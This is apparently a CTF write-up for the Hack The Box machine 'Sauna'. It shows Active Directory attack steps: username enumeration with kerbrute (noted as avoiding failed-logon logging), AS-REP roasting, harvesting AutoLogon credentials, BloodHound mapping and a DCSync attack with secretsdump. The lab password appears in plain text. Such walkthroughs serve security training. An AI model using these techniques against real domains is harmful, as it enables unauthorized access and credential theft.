Port Scan
We can see from the port scan it leaks the Domain EGOTISTICAL-BANK.LOCAL0. There are also three services that have a good attack surface http 80, smb 445, and ldap 389.
We can also look and see that this is probably a domain controller. Having ports; 53 DNS, 88 Kerberos, and 445 are common DC ports

SMB 445
I like to use crackmapexec to enumerate SMB.
General Info about host
We can see the hostname, domain, and see if SMBv1 is enabled

Sometimes we can try doing a null session to see if we can get anything else. A null session is simply providing nothing for the username and password. But still nothing

We can also try another tool called smbmap to see if it gives us anything different but it doesn’t.

Let’s move on
HTTP 80
Harvesting Usernames
On the about page http://10.10.10.175/about.html we can see that there is a “Meet The Team” section and find a handful of people. I recorded each of the names in a file called users.txt
┌──(root💀kali)-[~/htb/sauna]
└─# cat users.txt
Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Sophie Driver
Steven Kerb
Next I’ll use a tool called username-anarchy to transform the word list of names to one with common username schemas https://github.com/urbanadventurer/username-anarchy.git
┌──(root💀kali)-[~/htb/sauna/username-anarchy]
└─# ./username-anarchy --input-file ../users.txt --select-format first,last,first.last,flast > ../usernames.txt
I’ll also add Administrator to the file as well.
Kerbrute
Now that I have a list of possible usernames I can use a tool called kerbrute to test and see if any of the usernames are valid.
The cool thing about kerbrute is it won’t create event id 4625 in the logs. Event id 4625 will document every failed log-on. This will instead create a Kerberos failure event id 4771, its not logged by default.

Kerberoast
Now that we have two valid usernames we can leverage some impackt scripts https://github.com/SecureAuthCorp/impacket. The one I used on this box was GetNPUser.py which will do an AS_REP Roast/Kerberoast.

Privilege Escalation
I uploaded a great tool called winPEAS that is great for some automation when trying to escalate. I uploaded it using Evil-WinRM and

We get a lot of output from this but one section sticks outs particularly, the AutoLogon! A service account has an auto logon enabled and we can harvest svc_loanmgr:Moneymakestheworldgoround! as valid credentials.
Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
We can try those credentials with Evil-WINRM and we get in!

With these credentials, we can run a tool called Bloodhound. It is a tool that finds hidden relationships within Active Directory. It can often lead to some quick privilege escalation. There is a python & impacket version of it that I’ll be using for Sauna.
Installing is very easy
sudo apt install bloodhound
sudo pip install bloodhound
Then we can run the command bloodhound-python -u svc_loanmgr -p Moneymakestheworldgoround! -d EGOTISTICAL- BANK.LOCAL -ns 10.10.10.175 -c All to start the attack. It created a lot of .json files that we will import into bloodhound.

After importing our files we can select “Find Principals with DCSync Rights” and it generates a graph. Our service account has two permissions. Notice its similar permissions of administrators.

I right-clicked the relation and selected “Help”. Under the Abuse info,m I learned that we can perform a dcsync attack to get password hashes.
Impacket has a tool called secretsdump.py we can use to leverage this.
